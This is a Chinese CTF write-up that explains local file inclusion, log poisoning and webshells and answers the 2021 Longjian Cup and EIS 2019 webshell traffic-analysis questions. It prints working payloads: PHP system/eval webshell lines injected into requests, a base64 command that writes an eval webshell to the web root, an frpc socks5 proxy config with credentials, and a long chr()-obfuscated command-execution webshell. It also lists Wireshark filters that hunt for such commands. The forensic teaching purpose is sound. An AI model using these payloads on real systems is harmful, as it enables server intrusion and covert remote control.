2021 陇剑杯 webshell
2026-08-22 20:05:38

webshell

webshell是一种以网页脚本形式（php.asp.jsp.python）存在的后门，攻击者通过他可以在服务器上执行任意命令（读写文件、反弹shell、提高权限），从而完全控制web服务器。

web漏洞利用链：日志文件包含→get webshell

本地文件包含（LFI）

一、包含

包含相当于拿来

假设你有两个文件：header.php和index.php

1
<h1>欢迎来到我的网站</h1>
1
2
<?php include("header.php"); ?>
<p>这是首页内容</p>

当用户访问 index.php 时，服务器会：

  1. 执行 include("header.php")
  2. 把 header.php 的内容插入进来
  3. 最终输出：
1
2
<h1>欢迎来到我的网站</h1>
<p>这是首页内容</p>

这是正常安全的用法

二、问题

问题就出在 用户能控制包含哪个文件

如果程序员偷懒 直接让用户决定包含什么文件

1
2
3
4
<?php
$page = $_GET['page'];  // 用户通过 URL 传参，比如 ?page=about
include($page . ".php");
?>

正常人访问

1
http://example.com/index.php?page=about

包含 about.php

1
http://example.com/index.php?page=contact

包含contact.php

三、黑客怎么利用

攻击者他访问：

1
http://example.com/index.php?page=../../../../etc/passwd

PHP 会执行：

1
include("../../../../etc/passwd.php");  // 注意：后面自动加了 .php！

但是/etc/passwd是系统文件，没有.php后缀，所以可能失败

绕过 .php 后缀限制：

方法 1：用空字节（PHP5.3.4之前
1
?page=../../../../etc/passwd%00

→ 实际变成：include("/etc/passwd\0.php") → \0 截断，只读 /etc/passwd

方法 2：找本身就有 .php 的敏感文件
1
?page=php://filter/read=convert.base64-encode/resource=index

→ 读取并 base64 编码 index.php 源码（不执行，只读）

方法 3：包含日志、session、上传的图片等

网站有这样的php代码

1
2
3
4
<?php
  $page = $_GET['page'];
include($page . ".php");
?>

正常访问http://target.com/index.php?page=about包含about.php

如果没做安全限制 攻击者就可以读取系统文件 包含任意文件

这就是LFI漏洞

目标存在文件包含漏洞

攻击者无法直接上传.php文件

于是攻击者构造恶意请求

1
2
3
GET /<?php system($_GET['cmd']); ?> HTTP/1.1
Host: target.com
User-Agent: <?php eval($_POST['x']); ?>

这个请求本身是无效路径 但是会被web服务器记录到access.log中

accsee.log就变成

1
192.168.1.100 - - [01/Jan/2025] "GET /<?php system($_GET['cmd']); ?> HTTP/1.1" 404 ...

然后利用文件包含漏洞包含日志文件

1
http://site.com/index.php?page=/var/log/apache2/access.log

服务器会把日志当作php代码执行

虽然签名有日志格式干扰

但是<?php ... ?>仍然会被解析

成功getshell

web利用链

  • 发送恶意请求
  • 日志记录包含php
  • LFI包含日志文件
  • php执行代码
  • 获得webshell
  • 执行whoami
  • 确认权限为www-data

HTTP 请求方法理解
方法 含义 是否携带数据 是否暴露在 URL
GET 获取资源 ❌ 不推荐传敏感信息 ✅ 明文显示在 URL
POST 提交数据 ✅ 常用于表单提交 ❌ 在请求体中

过滤技巧（Wireshark）
表达式 用途
http contains "login" 查找与登录相关的请求
http contains "password" 直接查找包含“password”的包（最直接）
http.request.method == "POST" 只看 POST 请求
http.host == "xxx.com" 筛选特定域名
tcp.port == 80 or tcp.port == 443 限定 HTTP/HTTPS 流量

http contains "login" && http.request.method == "POST"

1
2
3
4
5
6
http contains "whoami"
http contains "id"
http contains "pwd"
http contains "ls "
http contains "cat /etc/passwd"
http contains "uname -a"
1
2
3
4
http contains "system("
http contains "exec("
http contains "shell_exec("
http contains "passthru("
1
2
http.request.method == "POST" && http contains "cmd"
tcp.payload contains "password" && http

找密码

1.http contains "login"找所有登录相关请求

2.查看这些请求是否是POST

3.展开该请求 查看Form item或者Request Body

找"username"和"password"字段

密码通常初次安装application/x-www-form-urlencoded中

[陇剑杯 2021]webshell（问1）

题目描述单位网站被黑客挂马，请您从流量中分析出webshell，进行回答：

黑客登录系统使用的密码是_____________。得到的flag请使用NSSCTF{}格式提交。

题干里提到 登录 还有密码

过滤器http contains "login"

POST表示的是提交数据

GET表示的是获取数据 暴露在URL里

登录是提交数据 只需要看第四条POST就行了

直接过滤密码也行http contains"password"

NSSCTF{Admin123!@#}

[陇剑杯 2021]webshell（问2)

**单位网站被黑客挂马，请您从流量中分析出webshell，进行回答：
**黑客修改了一个日志文件，文件的绝对路径为_____________。（请确认绝对路径后再提交）。得到的flag请使用NSSCTF{}格式提交.

题干说黑客修改了一个日志文件 想到webshell

日志文件 所以文件名很可能包含.log后缀

过滤器http contains".log"

逐个翻流量包 最后一个包

**variable=1&****tpl=data/Runtime/Logs/Home/21_08_07.log****&aaa=system('echo <?php eval($_REQUEST[aaa]);?> -d >** **/var/www/html****/1.php');**

tpl=data/Runtime/Logs/Home/21_08_07.log为网站日志的相对路径

/var/www/html是web服务器根目录

网站绝对路径=网站根目录+相对路径

NSSCTF{/var/www/html/**data/Runtime/Logs/Home/21_08_07.log**}

[陇剑杯 2021]webshell（问3）

**单位网站被黑客挂马，请您从流量中分析出webshell，进行回答：
**黑客获取webshell之后，权限是______？得到的flag请使用NSSCTF{}格式提交。

黑客拿到webshell后，第一步操作会执行whoami或者id命令

来查看自己的权限，确认自己已经控制了服务器，还有探测服务器位置

过滤器http contains "whoami"

第一条的追踪状态是404 看第二条

第二条是200OK 成功执行了命令

whoami的输出就是www-data

NSSCTF{www-data}

www-data

www-data是linux系统中web服务默认运行的用户

Apache/Nginx默认以www-data身份运行oho脚本

权限较低，不能读取/root，不能执行sudo，但可以访问网络目录

[陇剑杯 2021]webshell（问4）

**单位网站被黑客挂马，请您从流量中分析出webshell，进行回答：
**黑客写入的webshell文件名是_____________。(请提交带有文件后缀的文件名，例如x.txt)。得到的flag请使用NSSCTF{}格式提交。

黑客写入了一个webshell文件名

过滤器：http.request.method == "POST"

在流33看到

1
system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.php')

base64解码获得

1
<?php eval($_REQUEST[aaa]);?>

命令的意思是 把base64字符串解码 再写入/var/www/html/1.php

前面那块是web服务器根目录 所以文件名就是1.php

后续的POST请求都含有

1
POST /1.php HTTP/1.1

从332开始的每一条都有1.php也就是写入之后马上用

说明1.php确实存在而且可访问

NSSCTF{1.php}

[陇剑杯 2021]webshell（问5）

**单位网站被黑客挂马，请您从流量中分析出webshell，进行回答：
**黑客上传的代理工具客户端名字是_____________。（如有字母请全部使用小写）。得到的flag请使用NSSCTF{}格式提交。

我们要填的是一个文件名，也是黑客上传到我们单位服务器上的一个工具。

从上一题可以看出

1
variable=1&tpl=<?php%20eval($_REQUEST[aaa]);

收到参数aaa，就把它当作命令来执行

比如你访问[http://site.com/shell.php?aaa=ls](http://site.com/shell.php?aaa=ls)

就会在服务器上执行ls命令，列出文件

所以aaa相当于黑客设定是控制密码

过滤器：http contains "aaa"获取所有使用这个密码的请求

配置文件叫frpc.ini工具本身叫frpc

NSSCTF{frpc}

代理工具

黑客黑进服务器以后想从远程控制，但是可能有防火墙挡着。于是他上传了一个小工具，这个小工具偷偷接上黑客的电脑，搭了一个安全通道。

.ini

.ini是一种配置文件，类似于说明书

frpc.ini就是给程序frpc用的说明书

frpc是客户端，也就是黑客上传到服务器上的一个代理工具

[陇剑杯 2021]webshell（问6）

**单位网站被黑客挂马，请您从流量中分析出webshell，进行回答：
**黑客代理工具的回连服务端IP是_____________。得到的flag请使用NSSCTF{}格式提交。

黑客在webshell里上传了一个叫frpc.ini的配置文件，里面应该会写明他要连接的服务器地址和端口

刚刚那个包是345 已经在查找网页信息了

所以直接往上翻就能看到回连服务端ip 在343看到一长段16进制数据

1
2
3
4
5
6
7
8
9
10
11
12
13
[common]
服务器IP server_addr = 192.168.239.123
端口 server_port = 7778
密码 token=Xa3BJf2l5enmN6Z7A8mv

[test_sock5]
type = tcp
remote_port =8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true

NSSCTF{192.168.239.123}

[陇剑杯 2021]webshell（问7）

**单位网站被黑客挂马，请您从流量中分析出webshell，进行回答：
**黑客的socks5的连接账号、密码是______。（中间使用#号隔开，例如admin#passwd）。得到的flag请使用NSSCTF{}格式提交。

NSSCTF{0HDFt16cLQJ#JTN276Gp}

frpc

穿墙工具。负责把内网的机器连到外网的服务器上。

socks5

跳板规则。让黑客能通过这个通道访问内网资源。

就像路由器上开了wifi,连上他要账号密码

[EIS 2019]webshell

过滤器：http.request.method==POST

逐个查看追踪流 都看到一段base64编码的命令

最后一条含有flag这个词语:

只看这条流

php代码被加密的形式 把他还原成原始命令

把chr开头的一长串保存为chr.txt

先提取大小写混合的ChR(0x40)cHR(0x69)

1
2
3
4
5
6
7
import re

s = "cHr(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x28).ChR(0x22).ChR(0x64).ChR(0x69).ChR(0x73).ChR(0x70).ChR(0x6c).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x65).ChR(0x72).ChR(0x72).ChR(0x6f).ChR(0x72).ChR(0x73).ChR(0x22).ChR(0x2c).ChR(0x20).ChR(0x22).ChR(0x30).ChR(0x22).ChR(0x29).ChR(0x3b).ChR(0x40).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x5f).ChR(0x74).ChR(0x69).ChR(0x6d).ChR(0x65).ChR(0x5f).ChR(0x6c).ChR(0x69).ChR(0x6d).ChR(0x69).ChR(0x74).ChR(0x28).ChR(0x30).ChR(0x29).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x6e).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x73).ChR(0x65).ChR(0x73).ChR(0x73).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x5f).ChR(0x73).ChR(0x74).ChR(0x61).ChR(0x72).ChR(0x74).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x6b).ChR(0x65).ChR(0x79).ChR(0x3d).ChR(0x27).ChR(0x66).ChR(0x35).ChR(0x30).ChR(0x34).ChR(0x35).ChR(0x62).ChR(0x30).ChR(0x35).ChR(0x61).ChR(0x62).ChR(0x65).ChR(0x36).ChR(0x65).ChR(0x63).ChR(0x39).ChR(0x62).ChR(0x31).ChR(0x65).ChR(0x33).ChR(0x37).ChR(0x66).ChR(0x61).ChR(0x66).ChR(0x61).ChR(0x38).ChR(0x35).ChR(0x31).ChR(0x66).ChR(0x35).ChR(0x64).ChR(0x65).ChR(0x39).ChR(0x27).ChR(0x3b).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x75).ChR(0x72).ChR(0x6e).ChR(0x20).ChR(0x40).ChR(0x62).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x36).ChR(0x34).ChR(0x5f).ChR(0x65).ChR(0x6e).ChR(0x63).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x6f).ChR(0x70).ChR(0x65).ChR(0x6e).ChR(0x73).ChR(0x73).ChR(0x6c).ChR(0x5f).ChR(0x65).ChR(0x6e).ChR(0x63).ChR(0x72).ChR(0x79).ChR(0x70).ChR(0x74).ChR(0x28).ChR(0x62).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x36).ChR(0x34).ChR(0x5f).ChR(0x65).ChR(0x6e).ChR(0x63).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x29).ChR(0x2c).ChR(0x20).ChR(0x27).ChR(0x41).ChR(0x45).ChR(0x53).ChR(0x2d).ChR(0x31).ChR(0x32).ChR(0x38).ChR(0x2d).ChR(0x45).ChR(0x43).ChR(0x42).ChR(0x27).ChR(0x2c).ChR(0x20).ChR(0x24).ChR(0x6b).ChR(0x65).ChR(0x79).ChR(0x2c).ChR(0x20).ChR(0x4f).ChR(0x50).ChR(0x45).ChR(0x4e).ChR(0x53).ChR(0x53).ChR(0x4c).ChR(0x5f).ChR(0x52).ChR(0x41).ChR(0x57).ChR(0x5f).ChR(0x44).ChR(0x41).ChR(0x54).ChR(0x41).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x61).ChR(0x73).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x28).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x3d).ChR(0x6f).ChR(0x62).ChR(0x5f).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x5f).ChR(0x63).ChR(0x6f).ChR(0x6e).ChR(0x74).ChR(0x65).ChR(0x6e).ChR(0x74).ChR(0x73).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x6f).ChR(0x62).ChR(0x5f).ChR(0x65).ChR(0x6e).ChR(0x64).ChR(0x5f).ChR(0x63).ChR(0x6c).ChR(0x65).ChR(0x61).ChR(0x6e).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x38).ChR(0x63).ChR(0x32).ChR(0x62).ChR(0x34).ChR(0x22).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x40).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x6e).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x65).ChR(0x32).ChR(0x65).ChR(0x31).ChR(0x30).ChR(0x22).ChR(0x3b).ChR(0x7d).ChR(0x6f).ChR(0x62).ChR(0x5f).ChR(0x73).ChR(0x74).ChR(0x61).ChR(0x72).ChR(0x74).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x74).ChR(0x72).ChR(0x79).ChR(0x7b).ChR(0x24).ChR(0x70).ChR(0x3d).ChR(0x62).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x36).ChR(0x34).ChR(0x5f).ChR(0x64).ChR(0x65).ChR(0x63).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x5f).ChR(0x50).ChR(0x4f).ChR(0x53).ChR(0x54).ChR(0x5b).ChR(0x22).ChR(0x30).ChR(0x78).ChR(0x31).ChR(0x62).ChR(0x34).ChR(0x64).ChR(0x34).ChR(0x35).ChR(0x36).ChR(0x63).ChR(0x37).ChR(0x32).ChR(0x39).ChR(0x37).ChR(0x64).ChR(0x22).ChR(0x5d).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x73).ChR(0x3d).ChR(0x62).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x36).ChR(0x34).ChR(0x5f).ChR(0x64).ChR(0x65).ChR(0x63).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x5f).ChR(0x50).ChR(0x4f).ChR(0x53).ChR(0x54).ChR(0x5b).ChR(0x22).ChR(0x30).ChR(0x78).ChR(0x62).ChR(0x39).ChR(0x62).ChR(0x34).ChR(0x35).ChR(0x36).ChR(0x38).ChR(0x38).ChR(0x61).ChR(0x35).ChR(0x61).ChR(0x30).ChR(0x38).ChR(0x22).ChR(0x5d).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x64).ChR(0x69).ChR(0x72).ChR(0x6e).ChR(0x61).ChR(0x6d).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x5f).ChR(0x53).ChR(0x45).ChR(0x52).ChR(0x56).ChR(0x45).ChR(0x52).ChR(0x5b).ChR(0x22).ChR(0x53).ChR(0x43).ChR(0x52).ChR(0x49).ChR(0x50).ChR(0x54).ChR(0x5f).ChR(0x46).ChR(0x49).ChR(0x4c).ChR(0x45).ChR(0x4e).ChR(0x41).ChR(0x4d).ChR(0x45).ChR(0x22).ChR(0x5d).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x63).ChR(0x3d).ChR(0x73).ChR(0x75).ChR(0x62).ChR(0x73).ChR(0x74).ChR(0x72).ChR(0x28).ChR(0x24).ChR(0x64).ChR(0x2c).ChR(0x30).ChR(0x2c).ChR(0x31).ChR(0x29).ChR(0x3d).ChR(0x3d).ChR(0x22).ChR(0x2f).ChR(0x22).ChR(0x3f).ChR(0x22).ChR(0x2d).ChR(0x63).ChR(0x20).ChR(0x5c).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x73).ChR(0x7d).ChR(0x5c).ChR(0x22).ChR(0x22).ChR(0x3a).ChR(0x22).ChR(0x2f).ChR(0x63).ChR(0x20).ChR(0x5c).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x73).ChR(0x7d).ChR(0x5c).ChR(0x22).ChR(0x22).ChR(0x3b).ChR(0x24).ChR(0x72).ChR(0x3d).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x70).ChR(0x7d).ChR(0x20).ChR(0x7b).ChR(0x24).ChR(0x63).ChR(0x7d).ChR(0x22).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x65).ChR(0x78).ChR(0x70).ChR(0x6c).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x22).ChR(0x2c).ChR(0x22).ChR(0x2c).ChR(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x28).ChR(0x22).ChR(0x64).ChR(0x69).ChR(0x73).ChR(0x61).ChR(0x62).ChR(0x6c).ChR(0x65).ChR(0x5f).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x73).ChR(0x22).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x65).ChR(0x6d).ChR(0x70).ChR(0x74).ChR(0x79).ChR(0x28).ChR(0x24).ChR(0x64).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x7b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x6d).ChR(0x61).ChR(0x70).ChR(0x28).ChR(0x27).ChR(0x74).ChR(0x72).ChR(0x69).ChR(0x6d).ChR(0x27).ChR(0x2c).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x6d).ChR(0x61).ChR(0x70).ChR(0x28).ChR(0x27).ChR(0x73).ChR(0x74).ChR(0x72).ChR(0x74).ChR(0x6f).ChR(0x6c).ChR(0x6f).ChR(0x77).ChR(0x65).ChR(0x72).ChR(0x27).ChR(0x2c).ChR(0x24).ChR(0x64).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x75).ChR(0x72).ChR(0x6e).ChR(0x28).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x69).ChR(0x73).ChR(0x74).ChR(0x73).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x29).ChR(0x26).ChR(0x26).ChR(0x69).ChR(0x73).ChR(0x5f).ChR(0x63).ChR(0x61).ChR(0x6c).ChR(0x6c).ChR(0x61).ChR(0x62).ChR(0x6c).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x29).ChR(0x26).ChR(0x26).ChR(0x21).ChR(0x69).ChR(0x6e).ChR(0x5f).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x2c).ChR(0x24).ChR(0x64).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x72).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x6d).ChR(0x64).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3d).ChR(0x30).ChR(0x3b).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x70).ChR(0x61).ChR(0x73).ChR(0x73).ChR(0x74).ChR(0x68).ChR(0x72).ChR(0x75).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x70).ChR(0x61).ChR(0x73).ChR(0x73).ChR(0x74).ChR(0x68).ChR(0x72).ChR(0x75).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x73).ChR(0x68).ChR(0x65).ChR(0x6c).ChR(0x6c).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x28).ChR(0x40).ChR(0x73).ChR(0x68).ChR(0x65).ChR(0x6c).ChR(0x6c).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x24).ChR(0x6f).ChR(0x2c).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x28).ChR(0x6a).ChR(0x6f).ChR(0x69).ChR(0x6e).ChR(0x28).ChR(0x22).ChR(0xa).ChR(0x22).ChR(0x2c).ChR(0x24).ChR(0x6f).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x70).ChR(0x6f).ChR(0x70).ChR(0x65).ChR(0x6e).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x3d).ChR(0x40).ChR(0x70).ChR(0x6f).ChR(0x70).ChR(0x65).ChR(0x6e).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x27).ChR(0x72).ChR(0x27).ChR(0x29).ChR(0x3b).ChR(0x77).ChR(0x68).ChR(0x69).ChR(0x6c).ChR(0x65).ChR(0x28).ChR(0x21).ChR(0x40).ChR(0x66).ChR(0x65).ChR(0x6f).ChR(0x66).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x28).ChR(0x40).ChR(0x66).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x73).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x2c).ChR(0x20).ChR(0x32).ChR(0x30).ChR(0x34).ChR(0x38).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x40).ChR(0x70).ChR(0x63).ChR(0x6c).ChR(0x6f).ChR(0x73).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x61).ChR(0x6e).ChR(0x74).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x61).ChR(0x6e).ChR(0x74).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x7b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x20).ChR(0x3d).ChR(0x20).ChR(0x31).ChR(0x32).ChR(0x37).ChR(0x3b).ChR(0x7d).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x75).ChR(0x72).ChR(0x6e).ChR(0x20).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3d).ChR(0x40).ChR(0x72).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x6d).ChR(0x64).ChR(0x28).ChR(0x24).ChR(0x72).ChR(0x2e).ChR(0x22).ChR(0x20).ChR(0x32).ChR(0x3e).ChR(0x26).ChR(0x31).ChR(0x22).ChR(0x29).ChR(0x3b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x20).ChR(0x28).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x21).ChR(0x3d).ChR(0x30).ChR(0x29).ChR(0x3f).ChR(0x22).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3d).ChR(0x7b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x7d).ChR(0x22).ChR(0x3a).ChR(0x22).ChR(0x22).ChR(0x3b).ChR(0x3b).ChR(0x7d).ChR(0x63).ChR(0x61).ChR(0x74).ChR(0x63).ChR(0x68).ChR(0x28).ChR(0x45).ChR(0x78).ChR(0x63).ChR(0x65).ChR(0x70).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x24).ChR(0x65).ChR(0x29).ChR(0x7b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x45).ChR(0x52).ChR(0x52).ChR(0x4f).ChR(0x52).ChR(0x3a).ChR(0x2f).ChR(0x2f).ChR(0x22).ChR(0x2e).ChR(0x24).ChR(0x65).ChR(0x2d).ChR(0x3e).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x4d).ChR(0x65).ChR(0x73).ChR(0x73).ChR(0x61).ChR(0x67).ChR(0x65).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x61).ChR(0x73).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x64).ChR(0x69).ChR(0x65).ChR(0x28).ChR(0x29).ChR(0x3b)"

result = re.findall(r'\((0x[0-9a-fA-F]+)\)', s)

print(result)

再转化成对应的ASCII字符，并连起来打印出来

1
2
3
4
